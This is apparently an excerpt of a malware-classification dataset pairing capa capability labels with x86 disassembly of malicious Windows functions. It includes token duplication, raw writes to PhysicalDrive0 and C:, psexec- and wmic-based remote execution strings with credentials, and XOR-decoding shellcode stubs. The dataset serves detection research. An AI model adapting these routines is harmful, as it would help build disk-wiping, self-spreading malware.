joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000875a
Capabilities:
Enumerate processes
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1294
call fcn.1000a4f0
push ebx
push esi
push edi
xor esi, esi
push 0xffc
lea eax, [esp + 0x2a8]
push esi
push eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x2ac], esi
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [esp + 0x10], esi
call fcn.10008494
push esi
push 2
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [esp + 0x24], eax
cmp eax, 0xffffffff
je 0x10008939
lea ecx, [esp + 0x70]
push ecx
push eax
mov dword [esp + 0x78], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10008929
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x2a0]
sub eax, ecx
mov dword [esp + 0x30], eax
mov ebx, 0x2000000
push dword [esp + 0x78]
or dword [esp + 0x24], 0xffffffff
push esi
push 0x450
mov dword [esp + 0x20], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x2c], eax
cmp eax, esi
je 0x10008909
lea ecx, [esp + 0x14]
push ecx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100088f7
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [esp + 0x28]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push 0xc
push dword [esp + 0x24]
call edi
test eax, eax
je 0x100088f7
cmp dword [esp + 0x34], esi
je 0x10008858
cmp dword [esp + 0x20], esi
je 0x100088f7
lea eax, [esp + 0x1c]
push eax
push 2
push 2
push esi
push ebx
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x100088f7
push 0x38
lea eax, [esp + 0x3c]
push esi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [esp + 0x28]
push eax
push 0x38
lea eax, [esp + 0x40]
push eax
push 0xa
push dword [esp + 0x2c]
call edi
test eax, eax
je 0x100088f7
mov edi, dword [esp + 0x40]
xor eax, eax
cmp dword [esp + 0x10], esi
jbe 0x100088b9
cmp dword [esp + eax*4 + 0x2a0], edi
je 0x100088f7
inc eax
cmp eax, dword [esp + 0x10]
jb 0x100088a9
push 4
lea eax, [esp + 0x24]
push eax
push 0xc
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x100088f7
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x1c]
shl eax, 2
add ecx, eax
inc dword [esp + 0x18]
inc dword [esp + 0x10]
mov dword [esp + ecx + 0x2a0], edx
mov dword [esp + eax + 0x2a0], edi
push dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esp + 0x2c]
call edi
cmp dword [esp + 0x18], 0x40
jae 0x1000892f
lea eax, [esp + 0x70]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x100087e8
jmp 0x1000892f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10008946
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
xor eax, eax
cmp dword [ebp + 0x10], esi
push edi
setne al
push esi
push esi
inc eax
push eax
push esi
push esi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10008991
push esi
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000898a
cmp dword [ebp + 0x10], ebx
jne 0x1000898a
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret 0xc

Function at 0x10008999
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push edi
push 0xa
xor edi, edi
push 3
push dword [0x1001f120]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x100089d2
push eax
lea eax, [ebp - 8]
push eax
lea ebx, [ebp - 4]
call fcn.100085d0
jmp 0x100089d4
xor eax, eax
cmp eax, edi
je 0x10008abd
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x208
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp dword [ebp + 8], edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x1001f100], eax
mov ebx, 0x104
je 0x10008a12
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x10008a3b
push eax
xor eax, eax
push eax
push eax
push 0x23
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x10008a59
mov eax, dword [0x1001f100]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10008a2c
sub eax, edx
sar eax, 1
test eax, eax
je 0x10008a59
add eax, 0xc
cmp eax, ebx
jae 0x10008a59
push str.dllhost.dat
push dword [0x1001f100]
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
jmp 0x10008a6d
push dword [0x1001f100]
push 0
call esi
push eax
call edi
and dword [0x1001f100], 0
mov eax, dword [0x1001f100]
test eax, eax
je 0x10008aa1
mov ebx, dword [ebp - 8]
push 0
push dword [ebp - 4]
push eax
call fcn.10008946
test eax, eax
jne 0x10008a9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
cmp eax, 0x50
jne 0x10008aa1
and dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 1
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
test ecx, ecx
je 0x10008ab2
mov byte [eax], 0
inc eax
dec ecx
jne 0x10008aab
push dword [ebp - 4]
push 0
call esi
push eax
call edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x10]
pop edi
pop ebx
leave
ret 4
Function at 0x10008cbf
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push 0x40000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, esi
jne 0x10008ceb
xor eax, eax
jmp 0x10008d55
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
lea eax, [ebp - 4]
push eax
push 0x18
lea eax, [ebp - 0x20]
push eax
push esi
push esi
push 0x70000
push ebx
call edi
mov eax, dword [ebp - 0xc]
imul eax, eax, 0xa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x10008d4b
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
push esi
push 0x90020
push ebx
call edi
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
imul eax, eax, 0xa
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10008d5a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push 0x40000000
push str..C:
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x10008de6
push esi
lea eax, [esp + 0x10]
push eax
push 0x18
lea eax, [esp + 0x1c]
push eax
push esi
push esi
push 0x70000
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10008ddf
mov eax, dword [esp + 0x24]
imul eax, eax, 0xa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
cmp ebx, esi
je 0x10008ddf
push esi
push esi
push dword [esp + 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x2c]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [0x1001f104], 8
je 0x10008df8
call fcn.100014a9
test eax, eax
je 0x10008dfd
call fcn.10008cbf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009322
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
movzx edx, word [ecx + 0x14]
lea edx, [edx + ecx + 0x18]
movzx ecx, word [ecx + 6]
push edi
xor eax, eax
xor edi, edi
test ecx, ecx
jle 0x10009362
push ebx
push esi
mov esi, dword [edx + 0xc]
cmp esi, dword [ebp + 8]
ja 0x1000934e
mov ebx, dword [edx + 0x10]
add ebx, esi
cmp ebx, dword [ebp + 8]
jae 0x10009358
add edx, 0x28
inc edi
cmp edi, ecx
jl 0x1000933c
jmp 0x10009360
mov eax, dword [edx + 0x14]
sub eax, esi
add eax, dword [ebp + 8]
pop esi
pop ebx
pop edi
pop ebp
ret 4
Function at 0x10009367
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [0x1001f120]
mov eax, dword [ecx + 0x3c]
and dword [ebp - 4], 0
add eax, ecx
push ebx
mov ebx, dword [eax + 0x80]
add ebx, ecx
je 0x10009499
movzx edx, word [eax + 0x14]
and dword [ebp - 8], 0
push esi
push edi
movzx edi, word [eax + 6]
lea esi, [edx + eax + 0x18]
mov dword [ebp - 0xc], esi
test edi, edi
jle 0x100093d2
mov eax, dword [eax + 0xd8]
mov dword [ebp - 0x10], eax
mov edx, dword [esi + 0xc]
cmp eax, edx
jb 0x100093c4
mov eax, dword [esi + 8]
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jb 0x100093d2
inc dword [ebp - 8]
add esi, 0x28
mov dword [ebp - 0xc], esi
cmp dword [ebp - 8], edi
jl 0x100093ad
lea eax, [ebp - 0x10]
push eax
mov eax, dword [esi + 0xc]
push 4
push dword [esi + 8]
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10009497
cmp dword [ebx], 0
mov dword [ebp - 4], 1
je 0x1000947a
cmp dword [ebp - 4], 1
jne 0x10009474
mov eax, dword [ebx + 0xc]
add eax, dword [0x1001f120]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
test eax, eax
je 0x1000949f
mov eax, dword [0x1001f120]
mov esi, dword [ebx + 0x10]
mov edi, dword [ebx]
add esi, eax
add edi, eax
jmp 0x10009463
cmp dword [ebp - 4], 1
jne 0x10009469
mov ecx, eax
and ecx, 0x7fffffff
cmp ecx, eax
jne 0x1000944a
mov eax, dword [0x1001f120]
lea eax, [eax + ecx + 2]
push eax
jmp 0x1000944b
push ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
test eax, eax
jne 0x1000945d
and dword [ebp - 4], eax
add esi, 4
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x1000942c
mov esi, dword [ebp - 0xc]
add ebx, 0x14
cmp dword [ebx], 0
jne 0x100093fb
cmp dword [ebp - 4], 0
je 0x10009497
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
mov eax, dword [esi + 0xc]
push dword [esi + 8]
add eax, dword [0x1001f120]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 4], eax
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
leave
ret
and dword [ebp - 4], 0
jmp 0x1000946c

Function at 0x10009683
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100096c0
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
push str._u._u._u._u
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
inc esi
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x100097a5
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4210
call fcn.1000a4f0
push esi
xor eax, eax
mov esi, ecx
mov word [ebx], ax
push edi
mov word [esi], ax
lea eax, [ebp - 0x210]
xor edi, edi
push eax
mov dword [ebp - 8], edi
call fcn.10008b70
mov eax, dword [0x1001f100]
and dword [ebp - 4], edi
test eax, eax
je 0x10009817
mov ecx, eax
lea edi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x100097e0
sub ecx, edi
sar ecx, 1
mov edi, ecx
cmp edi, 0x104
ja 0x1000980e
mov edx, esi
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x100097fd
jmp 0x1000981e
mov dword [ebp - 4], 0x7a
jmp 0x1000981e
mov dword [ebp - 4], 3
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetLastError]
test edi, edi
je 0x1000989a
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1000989a
push dword [ebp + 8]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str._s__s__accepteula__s
push ebx
call esi
mov edi, eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebx + edi*2]
push str._d_C:WindowsSystem32_rundll32.exe__C:Windows_s__1
push eax
call esi
add edi, eax
add esp, 0x1c
lea eax, [ebp - 0x4210]
push eax
call fcn.10006bb0
lea ecx, [eax + 1]
mov eax, 0x1fff
cmp ecx, eax
ja 0x1000987b
mov eax, ecx
add eax, eax
push eax
lea eax, [ebp - 0x4210]
push eax
lea eax, [ebx + edi*2]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [ebp - 8], 1
jmp 0x100098a2
xor eax, eax
mov word [ebx], ax
mov word [esi], ax
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret 4

Function at 0x100098ab
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4208
call fcn.1000a4f0
push ebx
xor eax, eax
push edi
mov edi, ecx
mov word [esi], ax
mov word [edi], ax
lea eax, [ebp - 0x208]
push eax
xor ebx, ebx
call fcn.10008b70
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x10009971
push str.wbemwmic.exe
push edi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10009977
push dword [ebp + 0x10]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
push str._s__node:__ws___user:__ws___password:__ws_
push esi
call ebx
mov edi, eax
lea eax, [ebp - 0x208]
push eax
lea eax, [esi + edi*2]
push str.process_call_create__C:WindowsSystem32_rundll32.exe__C:Windows_s__1
push eax
call ebx
add edi, eax
add esp, 0x24
lea eax, [ebp - 0x4208]
push eax
call fcn.10006bb0
lea eax, [ebp - 0x4208]
movzx ecx, word [eax]
cmp ecx, 0x22
jne 0x10009950
push 0x5c
pop edx
mov word [esi + edi*2], dx
inc edi
mov word [esi + edi*2], cx
test cx, cx
je 0x1000995f
add eax, 2
inc edi
jmp 0x10009940
lea eax, [esi + edi*2]
push 0x100145b0
push eax
call ebx
pop ecx
xor ebx, ebx
pop ecx
inc ebx
jmp 0x1000997f
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [esi], ax
mov word [edi], ax
pop edi
mov eax, ebx
pop ebx
leave
ret 0xc
Function at 0x10009ec7
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
lea eax, [ebp - 8]
xor ebx, ebx
push eax
push ebx
xor edi, edi
mov dword [ebp - 8], ebx
call fcn.1000711f
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x10009f85
jmp 0x10009ef3
xor ebx, ebx
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov esi, dword [eax]
xor eax, eax
mov dword [ebp - 0x1c], ebx
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push ebx
push 4
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0x10009ea4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x10009f5f
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
je 0x10009f56
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x10009f50
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x10009f56
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x1c]
cmp edi, ebx
jne 0x10009f7d
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
call fcn.10007167
test eax, eax
jne 0x10009ef1
push dword [ebp - 0xc]
call fcn.10006f78
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x1000a2e8
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor ebx, ebx
push 0x100
stosw word es:[edi], ax
lea eax, [ebp - 0x124]
push ebx
push eax
mov dword [ebp - 0x128], ebx
call sub.msvcrt.dll_memset
xor eax, eax
add esp, 0xc
mov dword [ebp - 0xc], ebx
lea edi, [ebp - 8]
stosd dword es:[edi], eax
xor edi, edi
push ebx
inc edi
push edi
push 2
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], ebx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, ebx
je 0x1000a3cf
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x20], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
lea eax, [ebp - 0x10]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x1000a3c8
push 0x10
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x128]
push eax
push ebx
lea eax, [esi + 1]
push eax
mov dword [ebp - 0x124], esi
mov dword [ebp - 0x128], edi
mov dword [ebp - 0xc], 2
mov dword [ebp - 8], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x1000a3c8
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x1000a3c8
mov dword [ebp - 4], edi
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x4098ac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x4098bb
pop dword [ebp - 0x20]
mov eax, 0x4098bb
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x38d7d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x45a8
mov edi, eax
mov ebx, 0x622eb10
add ebx, 0xfa1e8cf0
add ebx, dword [ebp - 0x20]
mov edx, 0xda53527b
sub edx, 0xce1a26
mov dword [ebp - 0x14], 0x44b75828
mov esi, dword [ebx]
add esi, edx
xor dword [ebp - 0x10], eax
mov dword [edi], esi
add dword [ebp - 0x1c], edx
add edi, 4
add ebx, 0x4c0d6d73
add ebx, 0xb3f29291
loop 0x40990a
add eax, 0x10973
xor ebx, ebx
add ebx, eax
add eax, 0x7c309837
sub eax, 0x7c309832
mov ecx, 0x2384582c
sub ecx, 0x2344582c
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x10020057
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10020066
pop dword [ebp - 0x10]
mov eax, 0x7d664b75
add eax, 0x929bb4f1
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x13def59
sub dword [ebp - 0x20], 0xb2ebaa0e
mov dword [ebp - 0x1c], 0x42b6e22d
add dword [ebp - 0x1c], 0xef7c6a18
mov dword [ebp - 0x18], 0x9500ed88
sub dword [ebp - 0x18], 0x48b4a95a
mov dword [ebp - 0x14], 0x3f1c9807
add dword [ebp - 0x14], 0xc0e367f9
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x1021b0fc
add dword [ebp - 0x20], 0x6450b85a
mov dword [ebp - 0x1c], 0x60d3d133
sub dword [ebp - 0x1c], 0x1f676fbe
mov dword [ebp - 0x18], 0xf0ad05ad
sub dword [ebp - 0x18], 0x8d3d9941
mov dword [ebp - 0x14], 0x390d7116
add dword [ebp - 0x14], 0xc6f28eea
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x5762d1d6
sub eax, 0x475fe0ea
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x46811
push 0
call eax
mov ecx, 0x5013
mov ebx, eax
mov edx, 0x10046400
add edx, dword [ebp - 0x10]
mov edi, 0x73a07be4
sub edi, 0x8e3a1939
xor dword [ebp - 0xc], edi
mov esi, dword [edx]
mov dword [ebp - 8], 0x29c4a46b
sub esi, edi
xor dword [ebp - 8], 0xec6311e3
mov dword [ebx], esi
xor dword [ebp - 8], ebx
add ebx, 0x406fc7db
sub ebx, 0x406fc7d7
add edx, 0x6f41f88b
add edx, 0x90be0779
loop 0x10020177
add eax, 0x1331f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xde1ef809
add ecx, 0x31e107f7
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x405848
Capabilities:
Write file on windows

Disassembly:
push ebx
mov eax, 8
test eax, eax
je 0x405895
cmp dword [0x40b4c0], 0xffffffff
jne 0x405865
mov eax, 0xe2
call fcn.00403218
push 8
push pe_nt_image_headers32
call sub.KERNEL32.DLL_Sleep
mov ebx, eax
test ebx, ebx
jne 0x405883
mov eax, 0xe2
call fcn.00403218
jmp 0x40588f
push ebx
mov eax, dword [0x40b4c0]
push eax
call sub.KERNEL32.DLL_WriteFile
mov dword [0x40b4d0], ebx
pop ebx
ret

Function at 0x405898
Capabilities:
Create process on windows

Disassembly:
mov cl, byte [0x40b4bc]
mov eax, dword [0x40b4c0]
test cl, cl
jne 0x4058d0
mov edx, dword fs:[0x2c]
mov eax, dword [edx + eax*4]
ret
call fcn.00405848
mov eax, dword [0x40b4c0]
push eax
call sub.KERNEL32.DLL_WinExec
test eax, eax
je 0x4058c9
ret
mov eax, dword [0x40b4d0]
ret
push eax
call sub.KERNEL32.DLL_WinExec
test eax, eax
je 0x4058b3
ret

Function at 0x4058dc
Capabilities:
Clear file content

Disassembly:
push ebx
add esp, 0xfffffef8
push 0x105
lea eax, [esp + 4]
push eax
mov eax, dword [0x40b4c8]
push eax
call sub.KERNEL32.DLL_SetEndOfFile
mov eax, esp
call fcn.00404f04
mov ebx, eax
mov dword [0x40a10c], ebx
test ebx, ebx
jne 0x405915
mov eax, dword [0x40a100]
mov dword [0x40a10c], eax
mov eax, 0x40a0fc
call fcn.0040515c
add esp, 0x108
pop ebx
ret

Function at 0x406d5c
Capabilities:
Hash data with md5

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x58
call fcn.004026d8
mov dword [ebx], 0x67452301
mov dword [ebx + 4], 0xefcdab89
mov dword [ebx + 8], 0x98badcfe
mov dword [ebx + 0xc], 0x10325476
pop ebx
ret

Function at 0x407888
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4078f4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403224
test esi, esi
jl 0x4078de
inc esi
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
mov dl, byte [ebx]
mov cl, byte [ebp - 4]
inc ecx
xor dl, cl
call fcn.0040333c
mov edx, dword [ebp - 8]
mov eax, edi
call fcn.00403390
inc dword [ebp - 4]
inc ebx
dec esi
jne 0x4078bd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4078fb
lea eax, [ebp - 8]
call fcn.00403224
ret

Function at 0x407944
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebp, eax
mov bl, 0x75
mov eax, dword [ebp]
call fcn.00404afc
mov esi, eax
test esi, esi
jl 0x407970
inc esi
xor edi, edi
mov eax, dword [ebp]
xor byte [eax + edi], bl
mov eax, ebx
call fcn.00407904
mov ebx, eax
inc edi
dec esi
jne 0x40795d
pop ebp
pop edi
pop esi
pop ebx
ret